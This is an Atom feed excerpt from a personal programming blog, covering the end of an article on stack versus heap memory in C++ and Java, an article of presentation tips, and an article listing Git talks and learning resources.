&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp-8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;globl&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@function&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nl"&gt;main&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp-4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;leave&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ident&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;section&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;note&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GNU&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;@progbits&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Threads can be seen as sub-processes, although they belong to a specific process. Thus, they share the same virtual space (same data segment, etc). Only one thing is unique to each thread: they all have their own stack.&lt;/p&gt;
&lt;h1 id="allocating-memory-for-objects-and-primitive-data-types"&gt;Allocating memory for objects and primitive data types&lt;/h1&gt;
&lt;h2 id="c"&gt;C++&lt;/h2&gt;
&lt;p&gt;Every dynamic allocation goes to the heap. The rest on the stack. So every left handside part of the following lines (what is on the left of the equal sign) is on the stack.&lt;/p&gt;
&lt;p&gt;Global variables and static variables (not only global) go to the data segment.&lt;/p&gt;
&lt;p&gt;Here are some examples, to make things clear:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;fonction&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// On the stack&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// On the stack&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// The reference is on the stack&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// The pointer is on the stack&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pt2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* The right handside (the actual object)&lt;/span&gt;
&lt;span class="cm"&gt;    is on the heap, the left handside is on the stack */&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* Everything that has been allocated on the stack will be&lt;/span&gt;
&lt;span class="cm"&gt;    deleted at the end of the function */&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To delete what is on the heap, you need to use the &lt;code&gt;delete&lt;/code&gt; keyword.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img alt="Pointers and addresses" src="https://romainpellerin.eu/images/memory_cpp_example.png" /&gt;
&lt;/figure&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/CSVRA4_xOkw?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h2 id="java"&gt;Java&lt;/h2&gt;
&lt;p&gt;The main difference is that objects on the heap are automatically destroyed by the garbage collector, once they are no longer referenced. Moreover, only primitives are on the stack. All the objects are allocated on the heap. However, references (which are addresses) are passed as arguments to functions on the stack.&lt;/p&gt;
&lt;p&gt;That's all folks!&lt;/p&gt;
&lt;h1 id="further-reading"&gt;Further reading&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://gribblelab.org/CBootcamp/7_Memory_Stack_vs_Heap.html"&gt;7. Memory : Stack vs Heap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cplusplus.com/forum/articles/9/"&gt;The difference between pointers and arrays&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://canonical.org/~kragen/memory-models/"&gt;The memory models that underlie programming languages&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.holbertonschool.com/hack-the-virtual-memory-malloc-the-heap-the-program-break/"&gt;Hack the Virtual Memory: malloc, the heap &amp;amp; the program break&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Computers"></category><category term="code"></category><category term="computer"></category><category term="memory"></category></entry><entry><title>How To Give A Good Presentation</title><link href="https://romainpellerin.eu/how-to-give-a-good-presentation.html" rel="alternate"></link><published>2015-06-16T01:49:00+02:00</published><updated>2020-11-10T17:48:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-06-16:/how-to-give-a-good-presentation.html</id><summary type="html">&lt;p&gt;Some piece of advice about how to give good presentations&lt;/p&gt;</summary><content type="html">&lt;p&gt;Since I graduated from High School, I've had the chance to attend a lot of presentations (talks, conferences, lectures), given either by students to teachers, or by some non-student people. Most of them are tech people. I would like to distinguish two kinds of presentation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Those given by students or employees, often at the end of projects, or to explain quite serious things, or to expose problems. I will call them “formal presentations”&lt;/li&gt;
&lt;li&gt;Those given by any kind of people, aiming at making the attendees discover technologies, languages, tools. I like to refers to these lecturers as evangelists. I will now call these presentations “informal presentations”, since they rarely happen in a professional or university context.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now let's get started with some pieces of advice. Then, you can go even further by reading &lt;a href="http://www.troyhunt.com/2015/06/speaker-style-bingo-10-presentation.html"&gt;this great article about 10 presentation anti-patterns&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="know-your-topic"&gt;Know your topic&lt;/h1&gt;
&lt;p&gt;This may sound obvious and yet, some people (they're pretty rare) don't know perfectly their topic. They hesitate, or even worse, say absolute nonsense. Prepare your topic if you're not very familiar with it, but know it.&lt;/p&gt;
&lt;h1 id="know-your-speech-or-pitch"&gt;Know your speech (or pitch)&lt;/h1&gt;
&lt;p&gt;Knowing your topic is not enough. You will often be granted an allocated time. To avoid exceeding that time, rehearse a lot before going on stage. No secret, just repeat until you feel confident with your time management.&lt;/p&gt;
&lt;h1 id="smile"&gt;Smile&lt;/h1&gt;
&lt;p&gt;This is really true for “informal presentations”, but it also applies to “formal presentations” (but don't overdo it). Show your audience you're happy to be there. Then, it will help you deliver your message. Set aside your problems. No sound on the computer? It doesn't matter, apologize and keep on smiling. The demo failed? It's OK. Do not show signs of stress. Crack a joke about it (if appropriate, depending on the audience).&lt;/p&gt;
&lt;h1 id="filming"&gt;Filming?&lt;/h1&gt;
&lt;p&gt;Add the slides on the righthand side, inside the video. It's a terrible thing for those who will watch you online, if you make a joke about what is on the slides and they cannot actually see them.&lt;/p&gt;
&lt;p&gt;Also, when asked a question, make sure that the speaker repeats the question in the microphone, so that the web audience can understand the answer. Another alternative is to use two microphones, but this is not very handy, since someone has to move the microphone around everytime a question is asked.&lt;/p&gt;
&lt;h1 id="look-at-the-audience"&gt;Look at the audience&lt;/h1&gt;
&lt;p&gt;Attendees can easily get distracted. Establish a privileged contact with them. Don't look at your slides. I know it's really hard not to, but try to find a way to get a display in front of you that reminds you of the slide you are on. People will give you credit. On top of that, you would also benefit from speaking slowly, at an understandable pace so that you don't lose anyone in your thoughts. Allow people to concentrate and understand what you just said: mark pauses between slides, when need be.&lt;/p&gt;
&lt;h1 id="the-art-of-creating-slides"&gt;The Art of Creating Slides&lt;/h1&gt;
&lt;h2 id="the-content"&gt;The content&lt;/h2&gt;
&lt;p&gt;A 140-character-long slide is OK, but not more! Use simple words (often keywords) and images or videos (as backgrounds). Funny slides help a lot, people won't get bored.&lt;/p&gt;
&lt;h2 id="avoid-powerpoint-and-libreoffice-impress"&gt;Avoid PowerPoint and LibreOffice Impress&lt;/h2&gt;
&lt;p&gt;You have no guarantee that the version of PowerPoint (or LibreOffice) you'll find on the computer is the same as yours. What's more, not everyone can afford Microsoft Office suite. The “source code” of a slideshow should be a text file, and the output should be a PDF file. Stick to this rule and everything's gonna be fine!&lt;/p&gt;
&lt;p&gt;Giving a “formal presentation”? Use LaTeX to generate the PDF. Otherwise, use Markdown to generate your PDF. There are a lot of tools for that. Personally, on Linux, I recommend &lt;a href="http://pandoc.org/"&gt;Pandoc&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Why LaTeX? The formatting looks very professional. Just like scientific reports are always writtin with LaTeX, your slides should be as well.&lt;/p&gt;
&lt;p&gt;Why Markdown for your “informal presentations”? It allows you to create your slides in only a couple of minutes. Don't spend too much time on transitions, nor on the colors, etc. The only things that matters is the content, and Markdown is all about content. You can even get some help from &lt;a href="https://github.com/rpellerin/slides"&gt;my own slides&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="next-slide-please"&gt;Next slide, please&lt;/h1&gt;
&lt;p&gt;Don't rely on anyone but yourself to switch between your slides! Whenever possible, use a &lt;a href="http://amzn.com/B000FPGP4U"&gt;cheap remote controller&lt;/a&gt; (a presenter).&lt;/p&gt;
&lt;h1 id="holding-the-microphone-the-right-way"&gt;Holding the microphone the right way&lt;/h1&gt;
&lt;p&gt;Place the microphone on your chin. If you have a beard, put your thumb between your chin and the microphone to avoid rustling noises. That's the only way of keeping a constant and good sound level.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;I know these pieces of advice can sometimes be hard to follow, I also made and still make a lot of mistakes, but I am constantly trying to improve myself. Watch your past presentations, notice what you did wrong and keep on improving yourself. Good luck!&lt;/p&gt;
&lt;h1 id="further-reading-and-watching"&gt;Further reading and watching&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.troyhunt.com/2015/06/speaker-style-bingo-10-presentation.html"&gt;Speaker style bingo: 10 presentation anti-patterns&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://thenextweb.com/lifehacks/2013/09/12/10-things-you-should-never-say-during-presentations-2/"&gt;10 things you should NEVER say during presentations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@chethaase/presenting-presenting-17233fa13aa5"&gt;Presenting Presenting&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://gregorkopf.de/blog/posts/impress.html"&gt;Pretty Slides with Pandoc and impress.js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.sciencemag.org/careers/2016/01/using-powerpoint-shine-stage"&gt;Using PowerPoint to shine on stage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=eIho2S0ZahI"&gt;How to speak so that people want to listen&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://2014.cssconf.eu/news/how-to-write-a-great-talk-proposal-for-a-tech"&gt;How to write a great talk proposal for a tech conference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.troyhunt.com/10-ways-for-a-conference-to-upset-their-speakers/"&gt;10 ways for a conference to upset their speakers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://frantic.im/keynote"&gt;GEEK'S GUIDE TO MAKING DECENT SLIDES&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/emmawedekind/tips-for-first-time-speakers-3fcb"&gt;Tips For First Time Speakers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/tatianamac/493ca668ee7f7c07a5b282f6d9132552"&gt;Speaker Rider&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/dgageot/demoit"&gt;https://github.com/dgageot/demoit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="presentation"></category><category term="talk"></category></entry><entry><title>Git</title><link href="https://romainpellerin.eu/git.html" rel="alternate"></link><published>2015-06-03T00:01:00+02:00</published><updated>2019-11-29T10:55:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-06-03:/git.html</id><summary type="html">&lt;p&gt;All about Git&lt;/p&gt;</summary><content type="html">&lt;p&gt;Here are two talks about Git I gave in the last two years, at &lt;a href="http://humantalks.com/cities/compiegne"&gt;HumanTalks Compiègne&lt;/a&gt;. I added the slides as well.&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/8d04CYP5U9Q?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="600" src="https://romainpellerin.eu/slides/embedder.html#git/slides.html" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;a href="https://romainpellerin.eu/slides/git/slides.html"&gt;Slides are available in HTML&lt;/a&gt;.&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/9gdub0OMC8Y?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="600" src="https://romainpellerin.eu/slides/embedder.html#continuous-integration-done-right-by-leveraging-git/slides.html" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;a href="https://romainpellerin.eu/slides/continuous-integration-done-right-by-leveraging-git/slides.html"&gt;Slides are available in HTML&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="going-further"&gt;Going further&lt;/h1&gt;
&lt;p&gt;Here are some resources to go deeper with Git.&lt;/p&gt;
&lt;h2 id="general"&gt;General&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=4XpnKHJAok8"&gt;Tech Talk: Linus Torvalds on git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cirosantilli.com/git-tutorial/"&gt;Git Version Control Tutorial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://codewords.recurse.com/issues/two/git-from-the-inside-out"&gt;Git from the inside out&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/unseenwizzard/learn-git-concepts-not-commands-4gjc"&gt;Learn git concepts, not commands&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gitignore.io/"&gt;gitignore.io: auto generate .gitignore files&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/github/gitignore"&gt;gitignore: A collection of useful .gitignore templates&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/13630849/git-difference-between-assume-unchanged-and-skip-worktree"&gt;Git - Difference Between 'assume-unchanged' and 'skip-worktree'&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.clever-cloud.com/blog/engineering/2015/06/09/git-server-30k-improvement/"&gt;How We Cut Latency Down by 30k% on Our Git Server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://korben.info/gitrob-evitez-la-catastrophe-sur-github.html"&gt;Gitrob – Évitez la catastrophe sur Github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://gitolite.com/git-pull--rebase.html"&gt;What does "git pull --rebase" do?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jeffkreeftmeijer.com/2010/the-magical-and-not-harmful-rebase/"&gt;The magical (and not harmful) rebase&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jeffkreeftmeijer.com/2010/the-mighty-reflog-and-the-amazing-bisect/"&gt;The mighty reflog and the amazing bisect&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://increment.com/open-source/more-productive-git/"&gt;More productive Git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.git-attitude.fr/2015/12/18/learning-github/"&gt;Notre cours vidéo GitHub est sorti !&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.learnenough.com/git-tutorial"&gt;Learn Enough Git to Be Dangerous&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mikegerwitz.com/papers/git-horror-story"&gt;A Git Horror Story: Repository Integrity With Signed Commits&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stevelorek.com/how-to-shrink-a-git-repository.html"&gt;How to Shrink a Git Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/1657017/how-to-squash-all-git-commits-into-one"&gt;How to squash all git commits into one?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://korben.info/gitminer-fouiller-github-profondeur.html"&gt;Gitminer – Pour fouiller Github en profondeur&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.git-attitude.fr/2016/05/11/git-reset/"&gt;Git reset : rien ne se perd, tout se transforme&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/k88hudson/git-flight-rules"&gt;Flight rules for git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=Hd_UpJPDlik"&gt;Entrer dans les entrailles de Git, ou comment faire un commit sans faire du Git (Alexandre Garnier)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://delicious-insights.com/fr/articles/bien-utiliser-git-merge-et-rebase/"&gt;Bien utiliser Git merge et rebase&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://robots.thoughtbot.com/autosquashing-git-commits"&gt;Auto-squashing Git Commits&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://git-scm.com/docs/git-worktree#_examples"&gt;git worktree&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sethrobertson.github.io/"&gt;Git stuff&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://alblue.bandlem.com/2011/10/git-tip-of-week-merging-revisited.html"&gt;Git Tip of the Week: Merging Revisited&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.paulboxley.com/blog/2011/06/git-caret-and-tilde"&gt;Git caret and tilde&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.thoughtram.io/git/2014/11/18/the-anatomy-of-a-git-commit.html"&gt;The anatomy of a Git commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@gohberg/the-biggest-misconception-about-git-b2f87d97ed52"&gt;The Biggest Misconception About Git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.atlassian.com/git/tutorials/git-gc"&gt;Git gc&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="rebasing-and-cherry-picking"&gt;Rebasing and cherry-picking&lt;/h2&gt;
&lt;p&gt;Rebases mostly use &lt;code&gt;git am&lt;/code&gt;, which given diffs apply them sequentially. Diffs are computed between a given commit and its parent.&lt;/p&gt;
&lt;p&gt;On the other hand, cherry-picks uses a three-way merge to notice file renames.&lt;/p&gt;
&lt;p&gt;More on the topic below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/39279901/what-algorithm-is-used-during-git-rebase"&gt;What algorithm is used during Git rebase?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/42530381/issue-with-cherry-pick-changes-from-previous-commits-are-also-applied"&gt;Issue with cherry pick: changes from previous commits are also applied&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/10058068/in-a-git-cherry-pick-or-rebase-merge-conflict-how-are-base-aka-the-ancestor"&gt;In a Git cherry-pick or rebase merge conflict, how are BASE (aka “the ancestor”), LOCAL, and REMOTE determined?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="auto-deployment"&gt;Auto deployment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-automatic-deployment-with-git-with-a-vps"&gt;How To Set Up Automatic Deployment with Git with a VPS&lt;/a&gt;&lt;/li&gt;
